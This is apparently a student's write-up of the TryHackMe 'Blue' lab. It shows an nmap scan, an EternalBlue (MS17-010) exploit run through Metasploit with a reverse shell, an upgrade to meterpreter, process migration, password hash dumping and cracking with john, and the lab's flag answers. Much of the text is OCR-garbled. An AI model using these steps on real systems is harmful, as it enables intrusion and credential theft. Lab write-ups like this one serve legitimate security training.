Eternal blue machine in THM

Machines IPs

= Active machines information

Attacker machine @

Status: Connected via AttackBox Your machine IP Address: 10.113.88.210 ©

Lab machine @

Status: On Title: blue-2k12-v1.1  TargetIP Address: 10.113.153.141 [© Expires: 1h 40min 56s

?

Attacking Machineis: 10.11

Add 1 hour

3.88.210

Target Machine is:10.113.153.141

Task1 (Recon)

First of all, we should identify which ports are open to determine the vulnerabilities we can exploit
on the target machine , So First command | have used is nmap -A 10.113.153.141

and | found that port 445 open has microsoft-ds service which vulnerable with eternal blue

type: general purpose

vulnerability (CVE-2017-0144)

rosoft Windows RPC
Microsoft Windows net ssn
Windows Server 2012 R center 9600 microsoft-ds
Terminal Servic

ft Windows RPC

RPC

ft Windows RPC

Microsoft Windows RPC



And if we add --script vuln we can see that Vulnerability has Security Bulletin code MS17-010 Or we

can search The vulnerability in Exploit Database and we will get same results

Exploit Database Advanced Search

Title CVE Type Platform Port
windows 7 ‘ v v 445 v
Content Author Tag
v Search
Verified Has App No Metasploit CResetAll
ow| 15 v
2017-05-17 * Microsoft Windows 7/2008 R2 - ‘EternalBlue’ SMB Remote Code Execution (MS17-010) remote Windows sleepya
2017-04-19 2 How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008 papers Windows UnaPibaGeek
2017-04-19 3 [Spanish] How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008 papers Windows UnaPibaGeek
2009-11-11 s Microsoft Windows 7/2008 R2 - Remote Kernel Crash dos Windows laurent gaffie
Showing 11o 4 of 4 entries o
Databases Links Sites Solutions
Exploits Search Exploit-DB OffSes Courses and Certification:
Google Hacking Submit Entry Kali Linux Learn Subscriptions
Papers SearchSploit Manual VulnHub 0ffSec Cyber Range

Questions Answers

How many ports are open with a port number under 10007?

The Answeris: 3

What is this machine vulnerable to? (Answer in the form of: ms??-7?7?, ex: ms08-067)

The Answeris: ms17-010

Task 2 (Gain Access)

To exploit this Vulnerability, | will use Metasploit tool , opening the tool by msfconsole command

# msfconsole
Use check before run to c irm if a target is

vulnerable




By searching about, the Vulnerability Security Bulletin code MS17-010

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

search ms17-016f]

Check Name

I tcrnalBlue SMB Remote Win

B EternolRon

nalChampio mote Wine ommand Execution

Interact with a module by name or index. For example
After interacting with a module you can manually set a TARGET

se exploit/windo ‘lf_alﬂ_eternalbluel

indow




Only missing thing was RHOSTS Element that represent our Target Machine IPv4 address

113.1

msf exploit(windc 517 i rnalblue)
payload => window /reverse_tcp

After everything is ready | start the exploitation and it successfully worked and | get a shell on the
target machine

Server 2012 R2 Datacenter 9600 x64 (6

- numGroomConn:
- Target 0S: Windos Server 2012 R2 Datacenter 9600
- got good NT Tran




Making session in Background to Escalate it to meterpreter shell

Windoy

round
rnalblue) = search Shell_to_meterpreterl

Questions Answers

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex:
exploit/........ )

The Answer is: exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for
submission)

The Answer is: RHOSTS

Task 3 (Escalate)

We have a shell in the windows target machine but it” s regular one so we should Escalate to
meterpreter shell to make commands more advance and more useful than regular usage

So we start search about shell_to_meterpreter exploit that making us turn session that has regular
shell to meterpreter shell

osure Date Rank C ¢ Name

normal No Shell to Meterpreter Upgrade

ulti/m

ve the connection

LHOST no f t co tion from the payload (Will try to auto detect)
LPORT 4433
SESSION -1

v the full module info with the

-> 10.113.153.141:49299 (16.113.153.141)

> set session 1




Now | have to available sessions regular shell and meterpreter shell

> exploit

1
/multi/handler
CP handler on 16.113

> 10.113.153.141:49321) at 2026-08-26 10:50:20 +0000

Information Connection

1 Shell Banner:
2 meterprete ows  NT AUTHOR

msf post(multi/man

By using session 2 we are in target machine now, and now as next step after we are in is to hide our
malicious activity and in same time get higher privilege, so | used migrate command to change the
process that my exploit work into cmnd.exe process

cnd. exe X64 g NT AUTHORITY\SY C:\Windows\System32\cmd.exe

meterpreter > migrate 2884
[*] Migrating from 1476 to : e
[*] Migration completed successfully.

Questions Answers

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to
convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use?
(Exact path, similar to the exploit we previously selected)

The Answer is: post/multi/manage/shell_to_meterpreter
Select this (use MODULE_PATH). Show options, what option are we required to change?

The Answer is: SESSION



Task 4 (Cracking)

By using hashdump command | get all users in the machine and them hashed passwords

meterpreter > hashdump
ﬂdmini-tratcr:r :aad3b43 1 3b435b51404ee:f3] : 2 Fdb9cifa:::

-# john --format=nt --wordlist=/usr/s
ding: UTF-
word hash (NT [MD4 256/2 3
Harnlng no OpenMP support for this hash twpe, consider --fork=2
yrds longer than 27 rejected
to abort, 'h' for help, almost any other key for status

alr1979. .alpus
s reliably

11 -# ]

Questions Answers

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the
passwords on the machine as long as we have the correct privileges to do so. What is the name of
the non-default user?

The Answer is: Jon
Copy this password hash to a file and research how to crack it. What is the cracked password?

The Answer is: algfna22



Task 5 (Find flags!)

Questions Answer

Flag1? This flag can be found at the system root.

meterpreter > pwd
i stem32

meterpreter
meterpreter
L -

Type Last modified
TWXrwXrwx @ dir 2 1 19:17:40 +0000
TW-rw-rw- 1 fil 2013-06-18 1 0 +0000 X
TWXrwxrwx @ dir 2 14 +0000 Documents and Settings
dir 2C 22 15:52:33 +0000 PerflLogs
dir 8 +0000 Program Files
dir il £ 15:39:32 +0000 Program Files
dir 18:33 +0000 ProgramData
dir 2026-C 17:56: +0000 System Volume Information
dir 2026-C ; +0000 Users
dir 07 -3 9:30 +0000 Windows
rWXrwxrwx 46 dir 20 26 10:25:29 +0000 badr
r--r--r-- 6 fil i +0000 bootmgr
W-rwW-rw- 24 fil 07-3 =y +0000 flagl.txt
fif 15 :00: +0000 pagefile

at flagl.txrt
n failed: The cannot find the file specified.
~at _flaol. txt
flag{access the machine}meterpreter = I

The Answer is: flag{access_the_machine}

Flag2? This flag can be found at the location where passwords are stored within Windows.

meterpreter > cd Windows\\system32\\config\}\
meterpreter > i

'rw—rw—rw— 34 fil 2026-07-31 20:26:04 +0000 flag2.txt
7/rwxrwxrwx 4096 dir 2014-03-21 18:09:21 +0000 s emprofile

meterpreter > t flag2.txt
flag{sam_data e elevated access}meterpreter > I

The Answer is: flag{sam_database_elevated_access}



flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have
pretty interesting things saved.

meterpreter = cuments
meterpreter =
= - =

Last modified Name
+0000 My Mu
+0000 My Pictures
+0000 [
+0000
+0000

|

dir

. dir
WXITWXIwx € dir
W-TW-TW- f-L 'L
JTW-TW-TW- 3 f-L 'L

=]

v uounn

=l

= 0

at flag3.txt
flag{admin_documents can_be valuable}meterpreter =

The Answer is: flag{admin_documents_can_be_valuable}




